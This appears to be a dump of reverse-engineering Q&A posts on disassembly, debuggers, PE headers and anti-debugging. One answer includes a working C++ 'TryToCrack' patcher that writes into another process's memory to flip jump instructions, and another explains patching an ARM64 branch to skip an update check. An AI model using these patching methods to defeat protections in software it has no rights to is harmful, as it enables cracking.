    (malware dlls or unknown authors dlls may not have it or may be faked up so it is just an indicator that can be trusted with a trusted base of dll not for arbitrary binaries )

    \n\n

    you can right click the dll in question and look at the Details Tab

    \n\n

    \"enter

    \n\n

    or you can script it to dump a bunch of dlls as shown below

    \n\n

    contents of batch file

    \n\n
    C:\\>cat dlldesc.bat\n@echo off\nfor /f %%i in ('dir /s /b c:\\windows\\system32\\*.dll') do powershell -c \"(((get-command \"%%i).FileVersionInfo).FileDescri\nption)\"\n
    \n\n

    result on execution

    \n\n
    C:\\>dlldesc.bat\nAnywhere access client\nacadficn\nEase of access  control panel\nMicrosoft Internet Account Manager Resources\nAccess Control List Editor\nSecurity Descriptor Editor\nCompatibility Tab Shell Extension Library\nAction Center\nAction Center Control Panel\nUnattend Action Queue Generator / Executor\nADs Router Layer DLL\nActiveX Interface Marshaling Library\nADAL.Native for x86\nIEAK Global Policy Template Parser\nAdministrative Templates Extension\nadprovider DLL\nADs LDAP Provider DLL\nADs LDAP Provider C DLL\nADs LDAP Provider DLL\nADs Windows NT Provider DLL\nSecurity Audit Schema DLL\nTerminate batch job (Y/N)? y\n\nC:\\>\n
    \n" }, { "Id": "18797", "CreationDate": "2018-07-14T15:49:01.923", "Body": "

    i.e. on a page, I see that after i.e. 5 seconds of page load, there appears a message:

    \n\n
    Hello Akubatula, you are wonderful.\n
    \n\n

    Lets say, i want to find out, from where does the word wonderful comes from. It is not in source, I can't find it in sources ( Inspect>Sources>CTRL+SHIFT+S)...

    \n\n

    How can i find from which script/event it is loaded?\nI know a bit about breakpoints, but i was unable to find that moment/script, which triggers that event. Is that possible to breakpoint or search by that string?

    \n", "Title": "Find out where the string comes from (in Browser)", "Tags": "|debugging|websites|", "Answer": "

    Sounds like it could be data coming from the server via an AJAX call, where they perhaps have a service that fetches a message (at random?) from within an array of messages like that. If it is, then assuming you're in Chrome:

    \n\n
      \n
    1. Click the Network tab.
      2. \n
    2. Click the XHR button. If you do not see it, then you'll need to click the Filter icon first.
      3. \n
    3. Make sure the Record icon is on (red).
      4. \n
    4. Refresh the page and then wait for that message to appear on the page. If it doesn't, then if you don't mind logging back in and everything, you may need to click the Application tab, then Clear storage, then the Clear site data button (which will effectively make it as though you're visiting the site for the very first time from your device/browser, though this won't do much if they remotely track that behavior).
      5. \n
    5. Just before, you should have seen new activity in your Network window.
      6. \n
    6. If so, click on the XHR names of interest, then in the right-hand pane (of which you may need to stretch DevTools out farther to see), look in the Preview and/or Response tabs and see if you see your text there, perhaps as a JSON key/value pair (i.e., {\"msg\":\"Here is your message\"}).
      7. \n
    7. If so, then you can click the Headers tab to get more information on the API call, then go about looking for information related to the data therein, residing in the client-side source files.
      8. \n
    \n" }, { "Id": "18800", "CreationDate": "2018-07-15T03:00:19.190", "Body": "

    So my C program looks like:

    \n\n
    int main()\n{\n    int a = 5;\n    int b = 1;\n    int c = add(a, b);\n    printf(\"%d\", c);\n    return 0;\n}\n\nint add(int a, int b){\n    return a + b;\n}\n
    \n\n

    And I am trying to understand the behaviour of how parameters are passed into the stack. In order to do the same, I reversed the code to disassembly:

    \n\n

    \"enter

    \n\n

    \"main_function\"

    \n\n

    Now esp is being copied into ebp in the add function, then why add 8 and 12 to access the values 5 and 1 in the next lines - shouldn't it be [ebp] and [ebp + 4h]? I am really confused here.

    \n\n

    Thanks.

    \n", "Title": "Addition Function Parameter Location in Assembly Stack Memory", "Tags": "|disassembly|", "Answer": "

    On x86, the stack is used not only for passing the arguments. It can store other things as well, for example the return address of the function or the registers which need to be saved temporarily, as well as for local variables. In your example, the push ebp adjusts esp by 4 bytes, so after esp is copied to ebp in the next instruction, the stack frame looks like this:

    \n\n
     [ebp+0] old ebp value (pushed by \"push ebp\")\n [ebp+4] return address from the call (originally at [esp+0])\n [ebp+8] first argument (a)\n [ebp+C] second argument (b)\n
    \n" }, { "Id": "18814", "CreationDate": "2018-07-16T17:51:33.730", "Body": "

    I have found two if statements in an application that I want to alter. I've made the two changes and saved the patch file using x32dgb and the application boots up successfully, however; the change doesn't seem to be taking affect nor is it there when I debug the saved patch .exe file.

    \n\n

    In short, my patches don't seem to be saved into the new exe!

    \n\n

    With my breakpoints saved, I looked the two locations that I need to change, and on initial application load I noticed the addresses contain totally different instructions and not all memory addresses are shown in the left most column.

    \n\n

    Here is how x32dgb looked when I successfully loaded the application:

    \n\n

    \"enter

    \n\n

    And when application loads:

    \n\n

    \"enter

    \n\n

    Any ideas why the patches are not working? Do I need to take a different approach?

    \n", "Title": "Trying to change JE to JNE in x32dbg for instructions that change", "Tags": "|patching|", "Answer": "

    Good news! I've built an application in C++ that forces the instruction change until the end of the splash screen. The code is NOT great, but the application is very stubborn and I had to time the loop just right otherwise the application just closes.

    \n\n

    Here is the code in case it helps anyone else.

    \n\n
        #include \"stdafx.h\"\n    #include \"iostream\";\n    #include \"atlstr.h\";\n    #include <windows.h>\n    #include <TlHelp32.h>\n    #include <stdio.h>\n    #include <psapi.h>\n    using namespace std;\n\n    #pragma comment(lib, \"Psapi.lib\")\n\n    PROCESS_INFORMATION CreateVProcess();\n    void TryToCrack(PROCESS_INFORMATION processInfo);\n\n    //\n    // 85 c0 0f 84 9e 00 00 00\n    // 85 c0 0f 85 9e 00 00 00\n    // First offset 34EC7, do 34EC8\n    //\n    // second offset 34F03\n    // 74 2E\n    // EB 2E\n\n\n    int main()\n    {\n        cout << \"Launching Application\" << endl;\n        PROCESS_INFORMATION processInfo = CreateVProcess();\n        cout << \"Trying to crack...\" << endl;\n        TryToCrack(processInfo);\n        return 0;\n    }\n\n    PROCESS_INFORMATION CreateVProcess()\n    {\n        LPCTSTR path = L\"NameOfAppHere.exe\";\n\n        // additional information\n        STARTUPINFO si;\n        PROCESS_INFORMATION pi;\n\n        // set the size of the structures\n        ZeroMemory(&si, sizeof(si));\n        si.cb = sizeof(si);\n        ZeroMemory(&pi, sizeof(pi));\n\n        CreateProcess(\n            path,\n            NULL,        // Command line\n            NULL,           // Process handle not inheritable\n            NULL,           // Thread handle not inheritable\n            FALSE,          // Set handle inheritance to FALSE\n            0,              // No creation flags\n            NULL,           // Use parent's environment block\n            NULL,           // Use parent's starting directory \n            &si,            // Pointer to STARTUPINFO structure\n            &pi             // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)\n        );\n        return pi;\n    }\n\n    void TryToCrack(PROCESS_INFORMATION processInfo)\n    {\n        Sleep(500);\n\n        HANDLE targetProcess = OpenProcess(STANDARD_RIGHTS_WRITE, 0, processInfo.dwProcessId);\n        void* hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processInfo.dwProcessId);\n        MODULEENTRY32 mod32;\n        mod32.dwSize = sizeof(MODULEENTRY32);\n        Module32Next(hSnap, &mod32);\n\n        DWORD modHandle = (DWORD)mod32.modBaseAddr;\n\n        unsigned char mem1 = 0x85;\n        unsigned char mem2 = 0x75;\n\n        for (int i = 0; i < 100000; i++)\n        {\n            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034EC8), &mem1, 1, NULL);\n            WriteProcessMemory(processInfo.hProcess, (LPVOID)(modHandle + 0x034F02), &mem2, 1, NULL);\n        }   \n    }\n
    \n" }, { "Id": "18817", "CreationDate": "2018-07-16T21:30:24.647", "Body": "

    I wrote simple program(was built in release mode(x86)) to practise re skills but I can not understand one part of it.

    \n\n

    C++ program:

    \n\n
    int doSub(int a, int b) \n{\n    int result = a + b;\n    result -= 2;\n    return result;\n}\n\nint doSum(int a, int b)\n{\n    int result = a + b;\n    result += 2;\n    return result;\n}\n\nint main(int argc, char** argv)\n{      \n    int wynik = 0;\n    int liczbaA = atoi(argv[1]);\n    int liczbaB = atoi(argv[2]);\n\n    if (liczbaA > 3)\n    {\n        wynik = doSum(liczbaA, liczbaB);\n    }\n    else\n    {\n        wynik = doSub(liczbaA, liczbaB);\n    }\n\n    std::cout << \"Result\" << wynik;\n    return 0;\n}\n
    \n\n

    \"enter

    \n\n

    And my question is: what is happening here?

    \n\n
    lea     ecx, ds:0FFFFFFFEh[ecx*4] ; ??\n
    \n\n

    I supposed to see here two instructions like sub/add. Can someone explain me how it's handled here operation +2 and -2?

    \n\n

    @edit

    \n\n
    loc_401052:\nmov     edi, [ebp+argv]\npush    dword ptr [edi+4] ; Str\ncall    ds:__imp__atoi\nadd     esp, 4\nmov     ebx, eax\npush    dword ptr [edi+8] ; Str\ncall    ds:__imp__atoi\nxor     ecx, ecx\nadd     esp, 4\nadd     eax, ebx\nmov     edx, offset aResult ; \"Result\"\ncmp     ebx, 3\nsetnle  cl\nlea     ecx, ds:0FFFFFFFEh[ecx*4]\nadd     eax, ecx\npush    eax\npush    ecx\nmov     ecx, ds:__imp_?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A ; std::basic_ostream<char,std::char_traits<char>> std::cout\ncall    std__operator___std__char_traits_char___\nadd     esp, 4\nmov     ecx, eax\ncall    ds:__imp_??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z ; std::basic_ostream<char,std::char_traits<char>>::operator<<(int)\npop     edi\nxor     eax, eax\npop     ebx\nmov     esp, ebp\npop     ebp\nretn\nmain endp\n
    \n", "Title": "Lea instruction on datasegment", "Tags": "|ida|disassembly|", "Answer": "

    0FFFFFFFEh is -2 in decimal format

    \n\n

    ecx= is 1 if liczbaA is more than 3 and 0 otherwise

    \n\n

    instruction LEA (load effective address) can do special arithmetic operation: a + b*X + Y where a and b are registers, Y is constant and X is 1, 2, 4 or 8.

    \n\n

    In your case you calculate:\n-2+4*ecx or -2+4*(liczbaA>3)

    \n\n

    if liczbaA is more than 3 then result is 2 if less then it is -2

    \n" }, { "Id": "18819", "CreationDate": "2018-07-17T01:12:13.437", "Body": "

    I have a linux binary that imports functions from an external library (shared object). The functions are lazy loaded and not available when rip is at @main or @entry. When i step into such a function (like call sym.imp.<function>) it goes into plt->got->linker->function. Doing this manually (step-into) is very time consuming and uncomfortable. None of the analysis functions (aaa) seem to register any functions (afl ~ <function>) of the lazy loaded library so there is no way to gather the function start address (until the linker fills the plt/got).

    \n\n

    The only way i figured out so far is to break at the call, look up the mapped memory (dm) of the (now loaded) library and adding the offset of the function (gathered by directly/statically loading the library beforehand). This finally leads to the target function start address.

    \n\n

    Even though this works i think its still too complicated for such a basic task and there might be a much easier way. I can remember that IDA/Windows allowed to prepare a static environment (load binary, libs, add comments, annotations and such) and once going into the debugger the initialization phase (linker) detected the prepared libs and asked to use/overload them in the dynamic session. There, you could easily set breakpoints on the functions and the debugger stopped successfully.

    \n\n

    The question is: How to get into lazy loaded imported functions without going over plt/got/linker in radare2?

    \n\n

    Edit:\nHere is a specific example:

    \n\n
    r2 -d /usr/bin/rar\naaa\ndb sym.imp.__swprintf_chk\ndc\n
    \n\n

    Then you end up in the .plt (twice) and then in map.usr_lib_ld_2.27.so.r_x + 50055.

    \n", "Title": "Radare2 debugging - How to get into lazy imported functions?", "Tags": "|debugging|linux|radare2|dynamic-linking|", "Answer": "

    The sym.imp.* symbols are pointing to the plt and this is intended. In order to locate a specific function of a loaded module/library, you need to use the dmi command and its subcommands.

    \n\n

    To follow your example, in the following steps I'll demonstrate how to reach the address of __swprintf_chk.

    \n\n

    First, open a binary in a debug mode. I'm using the same binary as you.

    \n\n
    $ r2 -d /usr/bin/rar\n\nProcess with PID 8617 started...\n= attach 8617 8617\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n -- This computer has gone to sleep.\n[0x7f1f85401090]>\n
    \n\n

    __swprintf_chk is part of libc so we need the library to be loaded in the memory first. By default, radare2 breaks before libc is loaded into the memory so let's quickly continue the execution until we reach the program's entrypoint using dcu (debug continue until):

    \n\n
    [0x7f1f85401090]> dcu entry0\nContinue until 0x00403000 using 1 bpsize\nhit breakpoint at: 403000\n
    \n\n

    Now that we are at the program's entrypoint, we can simply execute the following command:

    \n\n
    [0x00403000]> dmi libc __swprintf_chk\n235 0x001335f0 0x7f1f845c35f0 GLOBAL   FUNC  162 __swprintf_chk\n
    \n\n

    We received the address of __swprintf_chk which is 0x7f1f845c35f0. We can use radare2's internal grep (~) to take only this value:

    \n\n
    [0x00403000]> dmi libc __swprintf_chk~[2]\n0x7f1f845c35f0\n
    \n\n

    We can also print it as a radare2 commands using dmi*:

    \n\n
    [0x00403000]> dmi* libc __swprintf_chk\nf sym.__swprintf_chk 162 0x7f1f845c35f0\n
    \n\n

    And if you want to execute the command, simply prepend it with a dot:

    \n\n
    [0x00403000]> .dmi* libc __swprintf_chk\n[0x00403000]> f~sym.__swprintf_chk\n0x7f1f845c35f0 162 sym.__swprintf_chk\n
    \n\n

    As you can see, the address was added as a flag named \"sym.__swprintf_chk\".

    \n\n

    For more help you can execute dmi? and dm? and read the help for these commands.
    \nMore information can be found in the \"Memory Maps\" chapter I wrote for r2book.

    \n" }, { "Id": "18822", "CreationDate": "2018-07-17T11:43:29.690", "Body": "

    I'm trying to understands how it works by decompiling my own Objective-C code. Here's the decompiled instruction:

    \n\n
    var_8= -8\nvar_4= -4\n\nSUB             SP, SP, #8\nMOVS            R2, #1\nSTR             R0, [SP,#8+var_4]\nSTR             R1, [SP,#8+var_8]\nMOV             R0, R2\nADD             SP, SP, #8\nBX              LR\n
    \n\n

    From my understanding (correct me if I'm wrong), by line:

    \n\n
    SP=SP-8\nMove 1 to R2\nStore R0 into SP+8+var_4\nStore R1 into SP+8+var_8\nMove R2 into R0\nSP=SP+8\nNext Function\n
    \n\n

    And the actual code:

    \n\n
    %hook SomeClass\n- (int)somemethod {\nreturn 1;\n}\n%end\n
    \n\n

    Now I don't understand why it needs STR R0, [SP,#8+var_4] and STR R1, [SP,#8+var_8] for, as I can't see it purposes. And if I were to return 0, a simple change to of MOVS R2, #1 to MOVS R2, #0 would do, wouldn't it? But that didn't works.

    \n", "Title": "Could someone explain how this ARM instructions works compared to the actual Objective-C code?", "Tags": "|disassembly|arm|", "Answer": "

    Objective C methods are not called directly, but via a piece of trampoline code in the ObjC's runtime \"objc_msgSend\" function, which in turn calls a regular C function implementing the ObjC method.

    \n\n

    In addition to the method parameters, the C function is passed two additional parameters in the first two parameter slows, which are R0 and R1 on ARM (see this description):

    \n\n
      \n
    • R0: \"self\", a reference to the actual object that is executing the current method
      • \n
    \n\n

    Inside an instance method, self refers to the receiver (object) of the message that invoked the method, while in a class method self will indicate which class is calling.

    \n\n
      \n
    • R1: \"_cmd\"
      • \n
    \n\n

    This points to the selector being sent, in your case this should point to a string \"somemethod\" (or a struct containing this string, not sure about the current ARM implementation).

    \n" }, { "Id": "18823", "CreationDate": "2018-07-17T12:05:38.030", "Body": "

    I found the executable in question using VirusTotal "hunting" feature, where one can run Yara rules for the files existing in VT database and match the strings. I downloaded the file, opened it with PEStudio and it turned out to contain very many strings that were email addresses, one of which was the string I looked for in VT:\n\"enter

    \n

    Please note, the number of extracted strings is pretty high.

    \n

    However, when I opened the executable in IDA, none of these email strings were found. The number of strings was much lower too. But, instead I found, for example, these strings:\n\"enter

    \n

    Does this possibly mean that the emails do not come from a pre-existing list but are generated by the executable?

    \n

    In addition, I noticed some text file names in the PEStudio's string list, but they were also nowhere to be found in IDA's list. Is there any difference between IDA's and PEStudio (and similar tools') string extraction?

    \n", "Title": "Why can I see certain strings when PE is opened with a hex editor or a simple static analysis tool but not with IDA?", "Tags": "|ida|strings|", "Answer": "

    As confirmed in a comment, these strings appear in the Resources section of the executable.

    \n\n

    See this image (taken from the related IDA Pro can't view part of the file, which I can see exists WinHEX and adjusted to highlight this option):

    \n\n

    \"That

    \n\n

    It is likely disabled by default because they are not important to the process of disassembling, and they might be quite large. So this is only (marginally) useful when you are interpreting parts of the disassembly that use resources.

    \n\n

    As Ida PRO does not parse common resource formats, it may not be able to show your strings in its \"Strings\" window, and always list them as raw data. So you may want to prefer to use an external resource viewer anyway.

    \n" }, { "Id": "18830", "CreationDate": "2018-07-17T21:25:15.367", "Body": "

    I came across a document called The Ultimate Anti-Reversing Reference, which describes various Anti-Debugging techniques. in point 4.Thread Local Storage There is a mention

    \n\n
    \n

    Thread Local Storage callbacks are called whenever a thread is created\n or destroyed (unless the process calls the kernel32\n DisableThreadLibraryCalls() or the ntdll\n LdrDisableThreadCalloutsForDll() functions). That includes the thread\n that is created by Windows when a debugger attaches to a process. The\n debugger thread is special, in that its entrypoint does not point\n inside the image. Instead, it points inside kernel32.dll. Thus, a\n simple debugger detection method is to use a Thread Local Storage\n callback to query the start address of each thread that is created.\n The check can be made using this 32-bit code to examine the 32-bit\n Windows environment on either the 32-bit or 64-bit versions of\n Windows:

    \n
    \n\n
     push eax\n mov eax, esp\n push 0\n push 4\n push eax\n ;ThreadQuerySetWin32StartAddress\n push 9\n push -2 ;GetCurrentThread()\n call NtQueryInformationThread\n pop eax\n cmp eax, offset l1\n jnb being_debugged\n ...\n
    \n\n

    I wrote the c++ code as below

    \n\n
    bool fooBar()\n{\n    uintptr_t dwStartAddress;\n    TFNNtQueryInformationThread ntQueryInformationThread = (TFNNtQueryInformationThread)GetProcAddress(\n    GetModuleHandle(TEXT(\"ntdll.dll\")), \"NtQueryInformationThread\");\n\n    if (ntQueryInformationThread != 0) {\n\n        NTSTATUS status = ntQueryInformationThread(\n            (HANDLE)-2,\n            (_THREADINFOCLASS)9,\n            &dwStartAddress,\n            sizeof(dwStartAddress),\n            nullptr);\n       cout << hex << \"dwStartAddress: 0x\" << dwStartAddress << dec << endl;\n    }\n
    \n\n

    and I'm running this inside the TLS callbacks

    \n\n
    EXTERN_C\n#ifdef _M_X64\n#pragma const_seg (\".CRT$XLB\")\nconst\n#else\n#pragma data_seg (\".CRT$XLB\")\n#endif\nPIMAGE_TLS_CALLBACK p_thread_callback = fooBar;\n#pragma data_seg ()\n#pragma const_seg ()\n
    \n\n

    The value of dwStartAddress points to the .exe module, not to kernel32.dll as stated in the text. Regardless if I just run the exe or run in debugger or attach a debugger to the process (tho I'm not very experienced with attaching so maybe I'm doing something wrong here).

    \n\n

    Am I doing something wrong, or the text is wrong / no longer valid?

    \n", "Title": "Thread EntryPoint in TLS callback as AntiDebug technique", "Tags": "|anti-debugging|thread|entry-point|", "Answer": "

    When a debugger wants to attach to a process it will do the following things (see the DebugActiveProcess implementation on ReactOS):

    \n\n
      \n
    1. Connect to the debuggee with DbgUiConnectToDbg
      2. \n
    2. Tell the kernel to start debugging the process with NtDebugActiveProcess
      3. \n
    3. Issue a DbgBreakPoint in the attached-to process with DbgUiIssueRemoteBreakin
      4. \n
    \n\n

    The DbgUiIssueRemoteBreakin function creates a thread in the debuggee pointed at DbgUiRemoteBreakin, which in turn calls DbgBreakPoint.

    \n\n

    This anti-debug trick no longer works from Windows 7 and onwards because the DbgUiIssueRemoteBreakin creates the DbgUiRemoteBreakin thread with the SkipThreadAttach flag (relevant blogpost). This causes the newly-created thread to not call DllMain or TLS callbacks with the DLL_THREAD_ATTACH or DLL_THREAD_DETACH reason.

    \n" }, { "Id": "18839", "CreationDate": "2018-07-18T16:43:18.800", "Body": "

    I try to modify the branch of this disassembly in a binary:

    \n\n
    SUB             SP, SP, #0x60\nSTP             X26, X25, [SP,#0x50+var_40]\nSTP             X24, X23, [SP,#0x50+var_30]\nSTP             X22, X21, [SP,#0x50+var_20]\nSTP             X20, X19, [SP,#0x50+var_10]\nSTP             X29, X30, [SP,#0x50+var_s0]\nADD             X29, SP, #0x50\nMOV             X20, X0\nMOV             X0, X2\nBL              _objc_retain\nMOV             X19, X0\nADRP            X8, #selRef_shouldCheckForUpdate@PAGE\nLDR             X1, [X8,#selRef_shouldCheckForUpdate@PAGEOFF] ; char *\nMOV             X0, X20 ; void *\nBL              _objc_msgSend\nCBZ             W0, loc_ADCC\n
    \n\n

    Basically, the binary are checking for update and will prompt if it should, and for the sake of learning, I wanted to achieve on how to:

    \n\n
      \n

    1. Always go to loc_ADCC and;

      2. \n

    2. Always ignore loc_ADCC (Skip from going to loc_ADCC)

      3. \n
    \n\n

    This ARM64 really got me confused, I could however understand it in 32bit, but not in 64bit. It's like a new world. You could see the screenshot here for a better visualization.

    \n\n

    Thanks in advance!

    \n", "Title": "How to Modify this Branch in ARM64?", "Tags": "|disassembly|arm|", "Answer": "

    So, there are these options:

    \n\n
      \n
    1. to always take the branch, you need to convert CBZ (compare and branch if zero) to simple B (branch always). Let's have a look at the encodings of both:
      2. \n
    \n\n

    B:\n\n 31 30 29 28 27 26 25 .. 0\n 0 0 0 1 0 1 imm26\n

    \n\n

    CBZ:

    \n\n

    \n31 30 29 28 27 26 25 24 23..5 4..0\nsf 0 1 1 0 1 0 0 imm19 Rt\n

    \n\n

    To convert CBZ to B, you need to patch the opcode part (bits 31..26) and move the imm19 field (branch offset) to the imm26 field of the B opcode (bits 25..0). Since both opcodes interpret the offset in the same way (multiply by 4 and add to PC), you don't need to do any conversion besides sign extension.

    \n\n

    For example, let's take this instruction from a random sample I had:

    \n\n
    05088 E0 01 00 34  CBZ W0, loc_50C4\n
    \n\n

    Opcode as a 32-bit value: 0x340001E0 (AArch64 always uses little-endian instructions)

    \n\n

    In binary: 00110100000000000000000111100000.

    \n\n

    Split by fields:

    \n\n

    \n0 0110100 0000000000000001111 00000\nsf op imm19 Rt
    \n

    \n\n

    Let's assemble the B opcode (sign-extending imm19 to 26 bits):

    \n\n

    \n000101 00000000000000000000001111\nop imm26\n

    \n\n

    Or, as hex: 0x1400000F

    \n\n

    After patching:

    \n\n
    5088 0F 00 00 14                 B               loc_50C4\n
    \n\n
      \n
    1. To skip the branch, you can patch CBZ to a NOP (no operation). The NOP encoding for ARM64 is 0xD503201F or 1F 20 03 D5
      2. \n
    \n" }, { "Id": "18840", "CreationDate": "2018-07-19T00:41:27.133", "Body": "

    i made a random console application and loaded into IDA. The start of .text section shown is 00BA1000. Then i loaded the application into CFF explorer. The address of entry point was 000110AA. Is it the offset to the function? If yes, is it the raw offset (in the exe file) or virtual offset (after the exe is loaded in memory) ? Then i saw there was a key named 'base of code'. Why isnt addressofentrypoint the same as base of code? I mean, they are start of the text section too right? With IDA , i can know the start of .text section is 00BA1000. But, how can i know it with CFF explorer? With CFF, i can know the virtual address of text section is 00011000. So when the program is loaded into memory, the start of the text section should be imagebase + 00011000 right? With ollydbg i can know its wrong. The calculated address isnt the correct one, but the one shown in IDA is. These questions messed me up. Hope you can help me !!!

    \n\n

    CFF explorer (basically helps you look into PE header) : https://ntcore.com/?page_id=388

    \n\n

    Screenshots:\nhttps://i.stack.imgur.com/Fj8vy.jpg

    \n\n

    https://i.stack.imgur.com/mOCHs.jpg

    \n\n

    https://i.stack.imgur.com/5rW6t.jpg

    \n\n

    Thanks a lot for reading!

    \n", "Title": "How to find start of .text section?", "Tags": "|ida|disassembly|", "Answer": "

    Base of code is where the code starts
    \nAddress of Entrypoint is Where the executable starts executing (the main function's first instruction)

    \n\n

    they both can be same or different

    \n\n

    here is an example where they both are same

    \n\n
    :\\>dumpbin /headers funadd.exe | grep -iE \"base of code|entry point\"\n            1000 entry point (00401000) _WinMain@16\n            1000 base of code\n
    \n\n

    that is becasue the main function does not refer any other function

    \n\n

    suppose you have code like this

    \n\n
    int main (void) { printf ( \"%x\\n\" , dosomecrap() ); }   \n
    \n\n

    then when compiling the main function needs to refer to the dosomecrap() function so the compiler will compile the dosomecrap() first and put the code from base of code

    \n\n

    in this case main () comes later in the code section
    \nso they both wont be same

    \n\n

    Address of Entry Point will point to main()
    \nBase of code may point to start of dosomecrap()

    \n\n

    in normal compiled executables main is not the first code that is exceuted

    \n\n

    it is cruntime init code like maincrtstartup() or WinMainCrtStartup()

    \n\n

    that is executed first

    \n\n

    import section can be merged into text section

    \n\n

    in that case the resolved imports start at base of code

    \n\n

    you can write code like this and merge data section into .text section in this case the embedded bytes would be the first bytes at base of code

    \n\n
    #include <windows.h>\n\nint p[] = { '\\x90\\x90\\x90\\x90' };\n\nint funAdd() {\n    int myvar = 2; \n    return myvar + p[0];\n}\n\nint CALLBACK  WinMain(_In_ HINSTANCE,_In_opt_ HINSTANCE,_In_ LPSTR,_In_ int) {\n    funAdd();\n}\n
    \n\n

    if you compile this with

    \n\n
    cl /Zi /W4 /analyze /EHsc /Od /nologo funadd.cpp /link /release /subsystem:windows /entry:WinMain /nologo /merge:.data=.text\n
    \n\n

    and check you can see bith base of code an address of entry point differ

    \n\n

    Address of entry point has been shifted 16 bytes or 0x10 bytes (alignment requirement says code should be aligned to 16 byte boundary )

    \n\n
    :\\>dumpbin /headers funadd.exe | grep -iE \"base of code|entry point\"\n            1010 entry point (00401010) _WinMain@16\n            1000 base of code\n
    \n\n

    you can see the 0x90 as below

    \n\n
    :\\>dumpbin /disasm /range:0x401000,0x401016  funadd.exe\nMicrosoft (R) COFF/PE Dumper Version 14.14.26430.0\nCopyright (C) Microsoft Corporation.  All rights reserved.\n\n\nDump of file funadd.exe\n\nFile Type: EXECUTABLE IMAGE\n\n?p@@3PAHA:\n  00401000: 90 90 90 90                                      ....\n  00401004: 00 00 00 00 00 00 00 00 00 00 00 00              ............\n_WinMain@16:\n  00401010: 55                 push        ebp\n  00401011: 8B EC              mov         ebp,esp\n  00401013: E8 08 00 00 00     call        ?funAdd@@YAHXZ\n\n  Summary\n\n        1000 .text\n
    \n" }, { "Id": "18851", "CreationDate": "2018-07-20T15:43:40.127", "Body": "

    Let's say I have an apk of an android fighting game. The mechanics of the game includes how characters use their skills, how the damages are calculated, etc. Are such mechanics stored within the apk? Or perhaps on the server-side? Thanks in advance.

    \n", "Title": "does android apk contain game mechanics?", "Tags": "|android|apk|", "Answer": "

    Short answer

    \n\n

    Single player games most frequently do contain all the information hard coded in the APK.\nMultiplayer games usually require more work such as packet analysis and more black box work but may contain some of the mechanics hard-coded.

    \n\n

    \nGenerally

    \n\n

    It depends on the app, usually, most single player games don't require any online verifications other than in-app purchases and such. Multiplayer game producers are less likely to reveal the mechanics behind the game, and try to depend as much as possible on server side verifications. Especially in games where PvP is present, thus even the pseudo random number generator used to calculate hits may be black boxed from the user to prevent any misuse/exploitation of the game mechanics.

    \n\n

    However, since performance over different connection strength is important, sacrifices could be necessary for maintaining sensible gameplay experience and as a consequence some game mechanics remain hard-coded in the APK to improve performance and reduce the load on the server (and may be encrypted and verified by server-side upon game load).\nfor example, instead of requesting the server to update player location on every input, a request is being made periodically to sync the server and client copy of the location which means that the core movement and physics mechanics must be stored on the client side.

    \n\n

    In order to understand the mechanics of a single player game without any kind of online verifications and little to no interactions with a server-side. Simple decompilation (or disassembly in case of obfuscation and NDK usage for example) would provide all the information required to understand all the game mechanics.

    \n\n

    On multiplayer games usually you need to resort to more through research which may include:

    \n\n
      \n

    • packet analysis - Observing interactions with the server are very useful and reveal a lot of useful information. But note that this information could be frequently black boxed, such as a request which contains a string similar to hit target_object and the response may be just the same packet with a concatination of a number.

      • \n

    • local data observation - Another technique is to observe and analyse downloaded data from the server which might help revealing game mechanics (xp rate multipliers from items, additional hidden stats for items etc..) sometimes you might find yourself trying to unencrypt encrypted data which was downloaded and is verified each time a connection is made in hope to reveal some information on mechanics by observing the requests and responses.

      • \n
    \n\n

    Debugging online games can sometimes be difficult due to crashes and disconnections from the server which may be the cause of getting out of sync and tgus observing the memory isn't very practical in the more intense online games which sync every couple of milliseconds with the server.

    \n\n

    In short, it largely depends on how the game is constructed and on the nature of the client-server interactions.

    \n" }, { "Id": "18855", "CreationDate": "2018-07-21T02:50:23.047", "Body": "

    To self-teach myself reverse engineering, I am writing small C programs and reversing them in order to understands how the compiler sees my code. However, I am having quite tough time understanding the stack concept w.r.t command line arguments.

    \n\n

    So for a basic c code like this:

    \n\n
    int main(int argc, char** argv){\n\n    if(argc < 2){\n        printf(\"1 argument needed!\");   \n    } else {\n        printf(\"\\n -- %s Entered\", argv[1]);\n        printf(\"\\n%s -- is the first argument\\n\", argv[0]);\n    }\n    return 0;\n}\n
    \n\n

    The conversion is as follows:

    \n\n

    \"IDA

    \n\n

    The commented parts are where I am having a tough time:

    \n\n
    var_10= qword ptr -10h\nvar_4= dword ptr -4\npush    rbp ; understandable due to convention\nmov     rbp, rsp ; same as above\nsub     rsp, 10h ; why the space allocation? \nmov     [rbp+var_4], edi ; ?\nmov     [rbp+var_10], rsi ; ?\n
    \n", "Title": "Understanding Program Arguments on the Stack in Assembly", "Tags": "|assembly|c|stack|amd64|arguments|", "Answer": "

    First of all, you have to understand that there is a specification for all these things. These specifications differ from one assembly language to another and from one operating system to the other.

    \n\n

    These global specification are called Application Binary Interface (ABI) and define, among other things, what we call the 'calling conventions' of functions. IDAPro seems to have found that your program is following the cdecl convention but I doubt it is correct, I think that the calling convention used here is fastcall within the amd64 SystemV ABI (see the wikipedia page about calling conventions). My guess is that you are using Linux...

    \n\n

    So, the manipulation of rpb and rsp are just here to save the previous state of the stack-frame in order to restore it when you leave the function (you stack the content of rbp on the stack with the hope that you will be able to restore it when you leave the function at the end). But, you already understood this.

    \n\n

    The space allocation (sub rsp, 10h) come from the fact that you have to store one int (argc) of 4 bytes and one pointer to a char* (argv) of 8 bytes. I know, when added it is only 12 bytes and not 16 bytes (10h). But, the access in memory for the CPU have been optimized when they are aligned (meaning that they start at an address which is a power of 2, or, if you consider hexadecimal representation, the address must end with a 0). So, the compiler decided to round-up the memory needed to align the data and be more efficient fetching it.

    \n\n

    Then, you have the memory space available on the stack, now lets go fetch the data. So, for that you have to know what does the caller function before starting the function we are currently looking at.

    \n\n

    In fact, the previous function, before calling the function we are in, has stored the arguments of our function in some registers. Here, it is important to agree that all the function (caller and callee) will use the same set of registers to pass the arguments from the caller to the callee.

    \n\n

